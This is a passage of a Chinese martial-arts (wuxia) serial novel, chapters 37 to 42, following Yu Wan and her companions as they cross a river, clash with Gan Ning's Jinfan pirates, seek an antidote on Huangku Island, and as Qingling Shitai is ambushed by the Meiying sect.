于婉:“惨什么啊?你们两今天吃错药了吧!” 苏起一脸深沉,摇了摇头,拍拍于婉肩膀,小步离去。 枯恂紧随其后,亦是一脸深沉,摇了摇头,拍拍于婉肩膀:“委屈你了,哎,你要是真动了心,师兄们绝不强拦,勇敢点,小妾不耻辱。”说完就跑,贼刺激。 于婉瞬间怒火中烧:“你们才小妾呢!给我回来!” …… 第三十七章 锦帆派传说 一处庭院中,于婉与青菱师太正在闲聊 “药圣?我认识许多江东名医,不过,实在是没听说过有药圣这号人。” “药圣是杜悬老前辈给他的尊称,具体姓名不知。” “那可就不好找了,江东那么大,况且,几十年前的人了,活不活着都两说。” 于婉:“这是快些治好孤师叔的唯一方法,我想试试。” 师太点点头:“江东匪寇横行,你一个人,能行吗?” “还有我二师兄啊。”“枯恂?那小子细胳膊细腿的,能保护好你?” “放心吧菱姨,我也是习武之人,那群小喽啰伤不了我。” “锦帆派可不是小喽啰,若真是不巧遇上了,你们两联手,都不够他们塞牙缝的。” “谁说就两人,二师兄已经去找昭大哥了,昭大哥义薄云天,一定会帮我们的。” “昭相雪?若是他愿同行,应该能护住你周全。” 这时,江雨潇正好端茶过来:“师傅,我也陪婉姑娘一起吧,咱们都是女孩子,路上也好相互照应。” 师太:“好啊,多一个人多一份力,婉儿,你觉得呢。” “江姑娘愿意帮忙,在下感激不尽,有劳了。” “好好好,那就这么说定了,你们准备什么时候出发?” “吃过午饭就走。” “这么急啊?” “早去早回嘛,菱姨,我得先回去收拾收拾行李了,告辞。” “婉儿,千万小心!” “放心吧菱姨。” 于婉正要离去,青菱师太再后面叫住她:“等等,我有个东西要给你。” 师太从衣袖中摸出一枚极其精的致耳饰,递给于婉。 “婉儿,也不知道咱们以后还会不会再见面,这个送你,留个念想吧。” 于婉接过耳饰,细看许久,十分喜爱:“好漂亮的耳饰啊,只有一只吗?” 师太微微一笑:“好好保存,千万别弄丢了。” …… 午饭过后,四人收拾好行李,往江东走去。 踏入一座城镇: 枯恂道:“咱们四个怎么说?两两一队分开找?” 江雨潇与于婉齐声说道:“好啊好啊。” 枯恂:“昭兄,你觉得呢?” 昭相雪:“分两队找人更快,可以。” 江雨潇:“那你们师兄妹一队,我和昭少侠一队,如何?” “不妥!”于婉与枯恂几乎同时答道。 两人相视一笑,枯恂接着说道:“我看,咱们四个还是一起走吧,人生地不熟的,可别走丢了。” 昭相雪一脸懵逼:“枯兄,说分队找的是你,说一起找的又是你,你到底咋想的啊。” “昭兄,刚才我思虑不周,现在想想,还是一起找比较好,安全!” 于婉附和道:“没错没错,菱姨说了,这地方有个叫锦帆派的,杀人如麻,歹毒的狠,咱们还是走一起比较好。” 江雨潇:“也罢,反正这地方也不大,一起找吧。” 四人东西打听,别说药圣了,连寻常大夫都才找到一两个,一番查探后,四人来到一处渡口,准备过江。 “船家,过江吗?”于婉对一条船上的船翁问道。 那船翁看着众人,细细打量了一番,问道:“就四个人?带够钱了吗?” “当然,二师兄,拿钱。” 枯恂取出包裹,从里面摸了些碎银递给船翁。 船翁瞄了眼钱款,嫌弃道:“就这?” 江雨潇道:“船家,我们就过个江而已,不去别的地方。” 船翁将钱退了回去:“不够不够,你们找其他船家吧。” 昭相雪看了看四周,哪还有其他船商:“船家,咱们初来乍到,不知规矩,不如你说说,过江的船费,该给多少合适?” “不多,十两!” “十两?!你怎么不去抢啊?”于婉大怒道。 船翁冷哼一声:“小姑娘,我这十两钱,收得可一点不贵,你们要是不愿意,自己去找其他船家吧。” 江雨潇:“这附近哪还有其他船家,老先生,你不能仗着没人抢生意,你就坐地起价,欺负咱们外来人啊。” 船翁道:“我可没欺负你,你可知道,为何这么大的渡口,就我一个船夫?” 众人摇了摇头。 “你们这些外来人,什么也不知道居然敢跑到这儿来送死。” 那船家冷笑几声,指了指江面,对众人说道:“你们看看那片江,仔细看,发现什么没?” 众人眺望江面,远远看去,江心尽是一片浓雾。枯恂道:“我懂了,这条江水流太急,浓雾之中看不清水势,不好划船,所以今天只有你一位船夫。” “哈哈,兄弟,你只说对了一点点。” “其实,不在浓雾之中行船,不好划船只占少部分原因,最主要的是,这片海域,住着一伙海寇!那伙海寇,最喜欢在浓雾天气打劫过往船商!” “海寇?这里还有海寇?”于婉一听来了劲儿。 “当然有,他们可不是普通的海寇,那可是整条江,最凶狠的海寇!”船家表情渐渐严肃起来。 “船家,反正现在闲着也没事儿,不如你给我讲讲那伙海寇的故事呗。” 于婉想听,那船家却不想讲:“不行,出发前讲海寇的故事可不吉利。” 于婉撒娇道:“大叔,讲讲嘛,没事儿,没那么巧的,你随便讲两段就好。” “不行不行,规矩不能乱,我可不想触霉头!” 于婉人不罢休:“讲讲嘛,没事儿的。” 与此同时,昭相雪突然摸出一两金子递给船夫:“船家,你就讲讲吧。” “金子?”船翁两眼发光:“真的假的?”船家接过钱咬了两下,十分兴奋。 于婉见状后悔了:“你给他那么多钱干嘛,一个破故事而已。” 昭相雪笑了笑:“你不是想听故事嘛,没事儿。” 于婉嘟着嘴,眼巴巴的看着那黄金。 船夫收下钱,兴致勃勃的讲了起来:“其实,我也不信这些破规矩,今天,我就给你们讲讲,那伙海寇的故事。” “巴郡临江有个叫甘宁的,字兴霸,少时好结交游侠,十几岁便纠集人马,持弓弩,在地方上为非作歹,组成渠帅抢夺船只财物,因采用华丽锦布为帆,遂自命锦帆派。” “锦帆派?这名字的由来仅仅是因为采用华丽锦布为帆,这,取得也太没水平了吧!”于婉摇了摇头,一脸嫌弃的吐槽道。 枯恂:“名字而已,那伙海寇哪有闲心细细专研,老人家,你接着说,那伙海寇,都干了些什么勾当?” 江雨潇:“当海寇的还能干嘛,不过是烧杀劫掠,杀人放火罢了。” “没错,干的就是杀人放火,烧杀劫掠的勾当。烧的是过往贼船,劫的是东西商旅,掠的是南北平民,杀的,却是讨贼官兵!我听说,凡是看到过锦帆派的人,没有一个是活着生还的,就算是皇帝来了,也只能是横过江。”船家颤颤巍巍的说道 昭相雪道:“这伙江匪胆子太大了吧,敢与朝廷做对?王法何在!” “大江之上,他们就是王法!” 枯恂:“官府不管吗?” “他们管不了,迷雾之间,没有人能打得过甘宁,这些年,地方县令前后派了许多官兵进江剿匪,要么就是一个不差,全部安全撤回,要么就是全军覆没,无一人生还!” 第三十八章 锦帆贼将—甘兴霸 片刻之后,江上大雾散去,船夫赶紧招呼众人上船,尽快过江。 客舱内,四人闲聊起来: 枯恂:“这锦帆派说穿了,不过是群海寇罢了,几十万的太平道咱们都干过,还怕这小小海寇?” 于婉:“没错,要是真能遇见海寇就好了,我倒想见识见识,传说中穷凶极恶的甘兴霸,到底什么样。” 江雨潇:“这群海寇为祸一方,无恶不作,若真遇上我,非得把他们一锅端了不可!” 昭相雪:“这里是他们的地盘,咱们势单力薄,且敌暗我明,可别大意。” 枯恂点点头:“我现在有些担心药圣前辈安危了,你们说,这个地方江匪如此之多,他老人家,真的还活着吗?” 于婉:“呸呸呸,肯定还活着啊,别多想!” 昭相雪:“江匪过着刀口舔血的生活,流血受伤乃是常事,应该不会对大夫下杀手才是。” 正话间,大风骤起,巨浪滔天,小帆船左右摇晃起来。 船翁淡定道:“浪潮而已,坐好了,别乱动!” 众人紧紧抓住船身,瞟了窗外一眼,不知何时起,大雾又弥漫起来,比起之前更甚,江浪飞涌,几欲吞掉小船!突然,一声轰隆巨响,船身激烈抖动,接着向一边倾去,一个巨浪袭来,小船直接翻倒,全员掉入水中。 船翁抱着块浮木,随江浪远逝,昭相雪与枯恂费力游出水面,却不见江雨潇和于婉踪迹,两人四下搜寻,猛然一看,才发现两位女子已然被江浪冲远,且相隔甚远,两人二话不说,分别游向两边。 昭相雪奋力游去,慢慢接近于婉,此时她正拼命呼救着。 “救我~”于婉扑腾了几下,便失去了浮力,向江下沉去,迷糊间,感觉到有个人在向上拉着自己,于婉微微睁开双眼,隐隐约约看到了昭相雪,接着,便闭上了眼,失去知觉。昭相雪拉着于婉浮出了江面,正好旁边一条大船经过,两个船员递过手,拉起了于婉和昭相雪。 昭相雪说了两声谢谢,便立马对于婉进行胸外挤压,按了许久,于婉终于将呛进的水吐了出来,昭相雪也松了口气,这时他才注意到,身边竟围了十几个大汉了,且个个手握大刀,浓眉大胡,分外凶煞。 而这条大船的构造也极为独特,船帆竟然用华丽的蜀锦所制,而船身则是用上好的檀龙木所制,船上还有一面大旗,上面写着三个大字——锦帆派。 “没事儿吧?”人群中,一个身着蜀锦,腰配铜铃,头插鸟羽的青年走来,那人手握大刀,后背宝弓,颇有大将之风。 昭相雪作揖答谢道:“没事儿,多谢英雄搭救,在下是冀州来的游客昭相雪,敢问英雄怎么称呼?” 那人笑了笑,一脸和善:“巴郡临江人士——甘宁。” 听到甘宁二字,两人不淡定了,再环顾四周,尽是些手握大刀的壮汉,而这船帆,也如传闻所言,由昂贵的蜀锦所制,当下,扯了扯昭相雪的裤腿,昭相雪将耳附了过去,于婉轻声说道:“完了,完了,他们是海寇!” 昭相雪眉头紧皱,微微点点头,细看甘宁身后的水手们,个个凶神恶煞的,手上也都拿着大刀,一点儿不像寻常船商的待客之道。 虽然情况不是很乐观,但昭相雪依然强装镇定道:“多谢壮士相救,这是我朋友于婉。”昭相雪指了指于婉,接着说道:“我们还有些急事儿要办,不知壮士可否将我们在临近的渡口放下,你放心,船钱不会少给的。” 甘宁走过来,拍了拍昭相雪的肩膀说道:“急事儿?小兄弟,你可能不知道,上了我这条船的人,就必须得遵守我船上的规矩,否则,神仙也别想下船!” “规矩?什么规矩?”昭相雪满脸疑惑的看着甘宁。 甘宁接着说道:“很简单,跟我比一场,武器任你挑,赢了,我就让你们下船。” “那要是输了呢?”于婉问道。 甘宁没有回答,只是轻轻笑了笑,身后的水手也都奸笑着,身旁的副船长阴狠的说道:“要是输了,只有两条路可选,一,加入我们锦帆派,二,沉尸江底!” 这时,一旁的副船长小声对甘宁说了些什么,甘宁点了点头,副船长补充道:“不过,像你这么美的人,当然有第三个选择。” “什么选择。” “当我的夫人,哈哈哈。”副船长话罢,众人大笑起来。 哪知于婉听了,不仅没有怒怼那副手,反而是笑了笑,直接说道:“好,我认输了。”话罢,眼角余光注意着一旁的昭相雪,想看昭相雪什么反应。 昭相雪还能有什么表情,听了这话,自是懵逼转惊慌,惊慌转焦急。 一旁的副船长面露喜色:“好,是个明事理的人!” 昭相雪听了立马挡在于婉身前:“不行,我不同意!” “你不同意?你谁啊?”那副船长问道,身后水手也是面露凶相,满脸杀气。 于婉微微一笑,再激道:“你凭什么不同意啊,今天,我还就非嫁不可了。”话吧推开昭相雪,向海寇走去。 昭相雪没有迟疑,立马拉住于婉,对甘宁说道:“刚才甘兄不是说过吗,上了这条船的人,都得遵守规定,神仙也不例外,我和这位姑娘是一起的,所以,我若是在比武中赢了你,你应该按照规定让我和这位姑娘下船才对,除非,甘兄想毁了自己的规定?” 于婉看了眼昭相雪,轻轻咬了咬嘴唇,也不多话。 甘宁上下打量了一番昭相雪:“好,有种!那就来吧!” 水手们大笑起来,向四周分散,腾出一个空地来,两个水手抬出一个兵器架来,昭相雪挑选片刻,最终从里面取下一把刀来。 “可以开始了吧。”甘宁急不可耐的说道,细看甘宁,身长八尺(一尺约为23厘米)满身都是肌肉,很是魁梧,不是凶狠恶煞之像,但却行凶狠恶煞之事。 “当然。”昭相雪,丝毫没在怕的,要是以前,他可能还会被甘宁这身健壮的肌肉吓到,但现在,他早已是今非昔比了。随便注入点儿内力在武器上,就能将其打倒。 但真是如此吗? 第三十九章 落难之地 当下,甘宁提刀直取昭相雪,十五米、十米,很快便要突杀过来了,昭相雪丝毫不怯,将内力注入到武器上,失败,重新来,将内力注入到武器上,还是失败,再重来,将内力注入到武器上,再次失败,此时,甘宁已冲至身前,但昭相雪却没能将半分内力注入到武器里,只得横刀格挡,但他的力气完全比不过甘宁,刀没拿稳,被甘宁一刀劈落。昭相雪大惊,一旁观看的于婉也惊了,昭相雪的内力之高深,她可是亲眼见识过的,张角尚且不惧,然而,如今却在和一个寻常海寇的比拼中处于下风,这不扯蛋嘛。于婉细细观察场上的打斗,似乎,并没有内力波动的迹象,甘宁没有内力,所以用不了,倒也正常,但昭相雪不同啊,昭相雪内力深厚,为何他不用的内力攻击呢?退一万步讲,就算他不用内力,光比刀法也不该落得下风啊,莫不是故意想输! 事实上,并非昭相雪故意放水,而是大江之上的雾气含有毒瘴,此毒瘴并不会直接毒害别人的身体,而是阻塞内力流通,让人有内力枯竭之感,不仅如此,毒瘴入体后,还会侵蚀大脑,麻痹神经,有眩晕之感。 眼下,昭相雪武器落地,处于劣势中的劣势,但甘宁却丝毫没有怜悯之意,再起一刀,横劈过来。昭相雪向后一翻,急退躲过,昭相雪已经意识到了内力无法使用的情况。但他并没有气馁,咬咬牙,准备用武术击败甘宁,但眼前这甘宁,身强力壮,迷迷糊糊的自己,如何是他对手,硬拼下去,必败无疑,必须得想个办法。 看着昭相雪一直被动挨打,于婉不悦了,从她这边的视角来看,昭相雪摆明是在故意放水,有内力不用,比什么蛮力?难不成,他是故意想要输给这海寇?好看我出丑? “好你个昭相雪,你休想如意!”于婉暗施内功,两道掌波飞去,将甘宁击退,接着拉回昭相雪,大声质问道:“昭相雪你什么意思!为什么不用内功?你就这么讨厌我吗!” 昭相雪摇摇头,浑身疲软,一副没睡醒的样子,长刀杵地,强撑着站起。 于婉料知有毒,关心道:“你好好休息,我来会会他们。” “他的刀法诡谲阴狠,你不是他对手,还是让我来吧。” “你中了毒,还是别逞英雄了,那天在冀州,我本该死在张角手上,是你将我推开,救我一命,今天,你又救我于落水中,我这人不喜欢欠人情,先还你一次!”话罢,不待昭相雪应答,提剑直击甘宁。 甘宁横着刀,轻松挡下“小姑娘,你可不是我的对手细皮嫩肉的,伤着了可不好。”语气轻蔑,丝毫没将于婉放在眼里。 “孰强孰弱,打了才知道。”于婉话罢又是一剑击去,角度刁钻,直接绕过了甘宁横在身前的大刀,甘宁大惊,向旁闪去,大刀向前一挥,将长剑的走势改变,勉强躲过。 见势不对,甘宁向后退了几步,显然,眼前这个女子并不是泛泛之辈。 “小姑娘,身法不错嘛,敢问师从何派?”甘宁问道。 问起门派,于婉收回了剑,冷哼一声,笑道:“凌云谷,于吉长老座下,四弟子于婉!” “于吉?!”没想到甘宁听了凌云谷不惊,听了于吉的名字到是立马震惊了,当下个个海寇听了了于婉的介绍,也是一脸震惊,都握紧了大刀,满脸的愤怒。 “给我拿下!”甘宁对四周手下发话道,几十名海寇没有一丝犹豫,提起大刀便从四周冲了过去。 “小心。”昭相雪抄起长剑和于婉背对着背应对着敌人。 于婉一脸高傲,将两名冲上前的海寇刺退:“乌合之众罢了。” 另一边,大江之上,两个人抱着浮木向下游飘去,正是枯恂与江雨潇。 江雨潇:“枯恂,我好晕啊,我好想放手。” 此刻两人正处在江潮之上,毒瘴之中,十分危急。 “江姑娘,千万别放手,你师傅还等着你回去了,若是你出了意外,我可没办法向她老人家交代。”枯恂嘴上这样说着,实际上自己也有些力不能支,疲软欲睡了。 江雨潇点点头,但意识却迷糊起来,悄然松了手,坠入江底。 枯恂大惊,强撑着清醒半分,也松了手,潜入江底,将江雨潇捞回,紧紧拉住她:“江雨潇!你忘了吗?你说过你会嫁给天底下最好的人,你还没实现诺言呢!你不能死!你给我清醒点!” 但江雨潇早已昏迷,没了半分意识。 枯恂轻声说道:“我还没成为天底下最强的人呢,你可千万别出事啊,求你了。” 枯恂拉着江雨潇在大江之上飘了许久,渐渐闭上了眼,两人坠下江去。 或许,这就是我人生的终点了吧。 或许,还有救! 突然,枯恂撑着最后一丝力,拉着江雨潇再次冒出水面,枯恂摸出一瓶药来,里面装着血色的液体,倒了些许抹在自己鼻息处,接着又倒了些许抹在江雨潇鼻息处。 两人竟奇迹般的清醒过来,枯恂拉着江雨潇,往一处浅滩游去…… 海寇船上: 几十名海寇将两人团团围住,轮番发起进攻,消耗两人体力,不过这些人哪是于婉的对手,才发起两轮攻击,海寇这边已经死伤九人。 此时,于婉和昭相雪专注着防卫眼前的敌人,并没注意到,甘宁正站在远处,搭着弓箭,瞄着他们,只听一声箭响,一直翔翎箭穿过人群,直指昭相雪。 千钧一发之际,昭相雪一瞥,发现了那支飞箭,赶紧将身子偏向一旁,躲过飞箭应该问题不大,但他却突然意识到什么,立马又转过身来,一把推开身后于婉,如此一来,自己也再次进入飞箭攻击范围。 “嗖~”一声箭响,于婉被推开,毫发无损,但昭相雪可就没那么幸运了,利箭击中了他的背部,昭相雪将长剑杵在地上,强撑着没有倒下。 “昭相雪!昭相雪!”于婉回过头,看见身中利箭的昭相雪,立马慌了,急忙上前扶住昭相雪。 只见昭相雪眼神迷离,嘴唇发紫,似乎是中了剧毒,料知这箭不是普通羽箭,应该被涂上了剧毒。 甘宁再次发令道:“还等什么?给我统统拿下!” 四周海寇提起大刀,再次向于婉冲来…… 第四十章 黄骷岛 情势危机,于婉却没有丝毫惧怕,握紧手中长剑,挡在昭相雪前面。 还未及海寇近前,只听咚的一声,船像是触了礁,开始猛烈摇晃。 “触礁了!快抓住栏杆!”哨兵喊道。 海寇们一听,立刻向四周散去,抓住围栏,于婉也没犹豫,一手拉着昭相雪,一手抓住围栏。 船几经摇晃,渐渐平稳下来,这时,一曲笛音传,由远及近,由远及近,浓雾之下,一个女子的身影浮现出来,女子身旁是一块石碑,上面赫然刻着三个血色大字:黄骷岛 “装神弄鬼。”甘宁见了此景,搭起弓箭便要射杀那女子,一箭射去,直指那女子。 哪知那女子丝毫不慌,也不躲闪,右手一挥,一枚飞针射出,不偏不倚,竟将那飞箭击退,接着,女子左手再一挥,三枚飞针飞出,甘宁身旁两个海寇,中针倒下,而第三根飞针则刺向了甘宁,将其手中宝雕弓的弓弦射断。 甘宁大惊,瞬间老实了,默默放下长弓,那女子淡淡的说道:“这里不是你们该来的地方,趁早离去。” 甘宁自知此人不好惹,对开船的船员说道:“掉头,掉头。” 船员听了,立马开始转舵,这时,那女子注意到角落里狼狈的于婉二人,指着两人说道:“把他们两留下。” 水手们看向甘宁,等待他的决定,哪知,一向狠毒的甘宁竟点了点头,水手们只得照办,放下木筏,用绳子将两人放到木筏上,离开了。 此时,昭相雪已经晕了过去,至阳体质对毒物十分敏感,所以,伤势十分严重的,于婉背着昭相雪上了岸,对那女子道谢。 “不必多理,你朋友受伤了,跟我来吧。”那女子说罢,向树林里走去,于婉没有迟疑,背着昭相雪,慢慢跟上。 那女子将于婉们带到一个小院来,院里坐着一个小老头儿,看起来有六十来岁了,正在煎药。 女子刚进门,那小老头儿就开始数落女子:“跟你说过多少会了,黄骷岛毒蛇猛兽巨多,毒花毒草的毒性也是凶狠无比,没事儿不要到处乱走乱晃!” “爹,有人中毒了,你快给瞧瞧吧。”那女子朝外边的于婉招了招手,示意他们进来。 看着两个陌生人出现,那小老头儿更加生气了:“我不是说过嘛,看病一律在岛外进行,你带陌生人进岛干嘛!” “爹,情况危机嘛,快看看吧,别在意这些细节。” 那小老头儿也懒得数落了,对于婉说道:“带他进来吧。”小老头示意于婉到里屋去,于婉进了屋,将昭相雪放在床上。 “你们先出去吧,我看病时不想外人干扰。”小老头儿对师太说道。 那女子点点头,拉着师太出去,随手关上了门。 “多谢姑娘相救!”于婉再次感谢道。 “哎,路见不平,拔刀相助,理所应当的。”女子倒是豪爽得很,丝毫没把刚才的事放在心里。 “姑娘真豪爽,我叫于婉,于是的于,委婉的婉,敢问姑娘怎么称呼?” “慕容洵,慕容顾的慕容,洵有情兮的洵。”女子笑道。 “慕容顾?五十三年前毒绝天下的慕容顾?”于婉惊问道:“莫非你是他的孙女?” 慕容洵翘翘眉,“额,哪能啊,我就是一寻常老百姓而已。” “不寻常吧,你刚才三针齐发,两枚针刺倒两人,还有一枚更是不偏不倚刺断弓弦,好生厉害!” “哈哈,婉姑娘想多了,刚才我其实是误打误撞的,我本来是想直接射死那海寇匪首的,那知偏了些,射在了弓弦上,于是我便顺势,假装瞄的是弓弦,借口要留他一命。”慕容洵笑道。 “哈哈,原来如此。对了,我朋友的伤,没事儿的吧。” 慕容洵安慰道:“放心,我父亲医术高明,从没失过手,一定没问题的。” 于婉点点头,但还是有些担心。 慕容洵瞄了一眼,发现于婉带着剑:“婉姑娘,你剑术如何?” “学过几年,还行。” 慕容洵一脸羡慕:“我爹娘只教导我读书写字,琴棋书画,说女孩子就应该有女孩子的样子,将来做个安静文雅的窈窕淑女就好,但我对这些一点不感兴趣,刀剑暗器全是我自己瞎练,还是你爹娘开明。” 于婉摇摇头,有些失落:“其实,我一直跟着我师傅生活,我的功法,都是师傅传授的,关于我父母的事,我一点儿也不记得了。” …… 两人十分投机,聊了许久,直至慕容钧拉开门走出。 于婉焦急的问道:“老人家,我朋友没事儿吧。” 老人摇摇头:“此毒很是常见,寻常人中了此毒,只需服下仙鹤草即可恢复,但我看这位小兄弟不一样,毒已经侵入体内深处,怕是得加服一剂药。” “何药?” “麋蛇胆。” “麋蛇胆?!”慕容洵大惊。 于婉满是焦急,也不问麋蛇胆是何物:“老人家,我能进去看看他吗?” “当然。” 于婉快步走进,此时,床上的昭相雪十分虚弱,面色惨白,唇色黯淡无光,于婉顺手端起桌上的半碗药来到床边,接着左手在腰间配剑上轻轻划了个小口,滴了几滴血加入药碗中“求求你,一定要好起来啊!” 不料,要刚服下不久,昭相雪突然撑起,冷汗直冒,竟朝外面出吐血来! 听见里面异动,老人与慕容洵立马跑进,看见昭相雪吐血不止,慕容钧大惊,上前点住昭相雪几个穴位,让他安静躺下,怒斥道:“你给他吃了什么!你想害死他吗?” “我没给他吃什么啊,我只是把桌上的那半碗药喂他喝下了。” “怎么可能!如此严重的反应,绝不可能是几味补药能造成的,你老实说,到底喂他吃了什么!” 事实上,于婉将自己的血液滴入药中,绝非想要害昭相雪,只是,好心办了坏事。 第四十一章 万能血? “小姑娘,你若是不愿诚实相告,那老夫我可没办法对症下药,到时候若救不回这位公子,你可别怪老夫没尽力啊!”老者一脸严肃,厉声逼迫道。 “于姑娘,你就老实说说吧,到底给他吃了什么药啊。” 于婉皱着眉头,摇摇头说道:“那半碗药里,我加了我的血。” “你加血干嘛?难不成,你的血能解百毒?” 于婉摇摇头,并不说话。 老者静思片刻再话道:“老夫名叫慕容钧,姑娘,你来我黄骷岛半天了,还未请问姑娘芳名呢?” “在下益州人士于婉,于是的于,委婉的婉。” “江湖人士?何门何派啊?”慕容钧还欲问些什么,身旁的慕容洵拉了拉他的衣服:“爹,你先救救这位公子吧,这些事儿等人救好了再慢慢问吧。” 于婉作揖道:“请前辈救救他吧,若能救好他,我愿意做任何事!” 如此情形,慕容钧也不好意思再浪费时间问这些无关病情的问题,小步上前,替昭相雪把起脉来,表情愈加严峻:“他的伤势更重了,三天之内,若找不回麋蛇胆,他必死无疑!” “好,我这就去找麋蛇胆。” 慕容钧:“婉姑娘,你有所不知,这麋蛇是黄骷岛上极其稀有的物种,含有剧毒,平日藏匿在洞穴之中,极难寻觅,就算有幸找到也难以捕抓,全身比泥鳅还滑,稍有不慎被咬上一口,极难医治” 哪知于婉听了丝毫不怯,反而坚定的对慕容洵说道:“洵姑娘,你熟悉黄骷岛的环境,你能不能帮我找到此蛇,求求你了。”话罢,于婉竟要跪下,慕容洵赶紧将她拉住。 见于婉如此坚定,慕容洵自然知道此人对于婉意义的深重,当下自不推辞:“好,没问题。” 而慕容钧也想搞清楚,为何一向常见的毒药,到了昭相雪身上,变得如此难解起来,同时,为何于婉普普通通的几滴血液,进了昭相雪体内,会导致他吐血不止,而那位于姓小姑娘,为何要引血入药,是无知迷信,还是另有其因?。 “黄骷岛内部,毒虫猛兽很多,你们这两天吃干粮就好,千万别去摘野果、吃野味。”慕容钧嘱咐道。 “放心吧,我又不是第一次进去了,没事儿的。”慕容洵牵着于婉的手笑道。 “嗯,注意安全,早去早回!”慕容钧点点头。 慕容洵好意提醒道:“于姑娘,你虽然剑术了得,但也别大意,这里面毒蛇猛兽阴险无比,它们的攻击都是无意识的,可不会事先提醒你。” “慕容姑娘放心,我之前在益州也进过山采过药,有分寸的。”于婉说道。 “嗯,对了,不知于姑娘今年芳龄?” “二十四,你呢?” “我三十一了,你老是姑娘姑娘的叫我,我还有有些不习惯呢,不如你叫我洵姐吧!” “好啊,那你也别叫我于姑娘,你叫我婉儿、小婉都可以。” 两人大笑起来“好,小婉,咱们时间紧迫,这里山路陡峭,毒蛇猛兽居多,你小心点儿,跟紧我。” “好的,洵姐。” “洵姐,咱们真是太有缘了,你不知道,我有个师兄叫枯恂,跟你的洵差不多呢!” “真的吗?你师兄对你好吗?” “挺好的,我这次来江东,本来他也在的,运气不好,在江上遇到了巨浪,翻船了,也不知他现在怎么样了。” “你怎么现在才说,咱们不去救他吗?” “他水性好得很,放心吧,咱们先找麋蛇胆吧。” 此时正是秋季,秋风萧瑟、枫叶横飞…… 慕容洵突然略带伤感的说道:“婉儿你看,枫叶又开始落了。” 于婉看着随风飘舞的枫叶,随口回道:“春生秋落,来去匆匆,这一落,便是一生!” “是啊,我们只觉过了一年,但在它们眼里,却是一生,婉儿,你说,有没有什么办法能让它们固定在树上,永远不会落下。” “不让它们落下?洵姐,这是何意?” 慕容洵苦苦一笑:“我随口说说罢了。”话罢,继续像丛林内部摸索着。 另一边: 此时,各派皆已休整完毕,回了自家领地。 司州边境,豫蛇一派正跟着青菱师太跨过边境返回豫州。 苏芸冉:“师傅,那个人还跟着我们,甩都甩不掉。” 青菱师太摇摇头,一脸无奈:“你们先从朱镇走,我去会会他。” “是。” 青菱师太坐在一旁石阶上,看着豫蛇教弟子们走远后,转身朝身后二十多米远的一颗树后喊道:“别藏了,出来吧。” 此话说完不久,从那树后还真闪出个人来,竟是韦凌峰! “韦凌峰,你们赤影帮远在凉州,咱们应该不顺路吧!” 韦凌峰慢慢走近,支支吾吾道:“对不起,我~” “打住,当年你们也不过是奉命行事罢了,况且之前帅府一战,我们也算是半个战友了,之前的一切恩怨暂且罢休吧。” “你真的是杜菱?你原谅我了?真的吗?”韦凌峰十分欣喜。 青菱师太没有否认,只答道:“你回凉州去吧,别跟着我们了。”韦凌峰还想上前搭话,但师太并不给他机会,直接抛下这话,转身离去。神功一施,转眼间便消失了,只留下韦凌峰在原地凌乱。 韦凌峰从身上摸出一块朱红面纱,轻轻抚摸着,望向师太离去的方向,最终,他收起了面纱,又跟了上去。 师太走的是条远路,处在密林之中,要是换了别人,肯定再难跟上,但韦凌峰何许人也?飞燕称号可不是浪得虚名,当下,韦凌峰跟进密林,立马学起鸟叫声,竟和树林中的鸟儿们交流起来,他笑了笑,一切都在掌握之中,一如十六年前一般,不过,此时的心境却已大不如前。 他们没注意到的是,密林边,一神秘斗篷人,正燃放起阵阵狼烟…… 第四十二章 鸟起者,伏也 密林中,青菱师太居然施展起白菱神功赶路,全速前进着,但诡异的现象让她放慢了速度,前面鸟雀突然乱飞冲天,不知为何。 古语有言:鸟起者,伏也。师太警惕的看着四周,果然,只见四周突然窜出十几个身着黑色斗篷的神秘人来。 “青菱师太?” “正是在下,不知阁下何许人是也?”青菱师太淡然说道。 为首的那人将斗帽取下,露出真容:“魅影右使——鬼俈” 青菱师太瞬间紧张起来,虽不知魅影教为何派,但她和魅影左使鬼岐交过手,眼前这伙人,和鬼岐同属一派,必不简单!虽然如此,但她仍极尽轻蔑的说道:“魅影教?既然穿得这般神秘,又何故自露身份?” 鬼俈冷冷一笑,阴狠说道:“因为,死人是不会开口说话的!” “放肆!”师太也不多话,拔剑直取鬼俈。 然而,鬼俈却并没有要和她正面交锋的意思,向后退了几步,将打斗交给了身旁的手下,只见十几名神秘黑衣人,纷纷取出兵器,将师太团团围住。 算上鬼俈,共计十三人,一个右护法,一个长老,两个堂主,九位魅影教高手,阵容相当强悍。 “上。”长老一声令下,带头冲了上去,其余众人紧随其后,也跟着冲了上去,只有鬼俈无动于衷,静静的看着。 这些人使用的兵器有个共性,全是长武器,不是长枪就是长戟,还有三个更是拿着长鞭,看得出来,这并不是他们常用的武器,发起的攻势破绽百出,不需多废力气便能轻易躲过,想杀青菱师太,显然是不可能的,但这十二人用长武器将师太围得紧密,想突出重围也不容易。 等等,这些攻击似乎是故意刺偏的,目的并不是要直接刺死她,而是在限制她的身法,将她强行赶到别处!师太向外一看,旁边二十多米处,有条小河。“莫非,想将我赶下河?可这是为何?到了河里,我的白菱神功更是无敌啊,不行,肯定有诈,不能犯险。”师太急施白菱神功,想要突出重围,但这帮人的准头却突然变得准了起来,丝毫不给师太逃离的机会。 另一边,韦凌峰通过与飞鸟的信息交流,知道了师太的遭遇,脸色大变,加快速度向师太飞去。 当下,长枪长戟疯狂的进攻着师太,她被限制了走位,只能向河边方向走去,十五米~十米~五米~四米~三米…… 眼看距离越来越近了,不能再被动挨打了,师太虽不知这帮魅影教是何用意,但掉下河肯定不会有好下场,现如今,只能放手一搏了,一柄长枪再次击向师太,此时的长枪已经不似刚才那般软绵随意了,用快准狠三字来形容丝毫不为过,稍有差池,便会当场被刺中,一柄长枪当然要不了性命,但中了一柄后,还能再灵巧的躲过第二枪吗?答案显然是不能。 但此时,师太已不能再躲闪了,眼下,离那条河只有不到一米了,只能放手一搏,她看准时机,左手竖起两个手指,给它注入不少内力,向长枪击去,眼看手指和长枪就要相撞了,师太突然将二指分开,微微向下移了些许,长枪正好从双指缝隙间穿过,没有刺中左手,看来,师太赌赢了,只见双指快速夹起,瞬间将长枪夹断,师太顺势夺下那把断了枪头的武器,将其往左边一丢,接着向后转身,右手握剑横起,挑开后面刺来的长戟。 包围圈总算是露出了破绽,刚才那柄断枪,砸退一人,师太白菱神功急施,在地上极速伸缩着,欲借那破绽逃离。 这时,一直没插手的鬼俈终于参战了:“哪里走,冰魄卸魂掌” 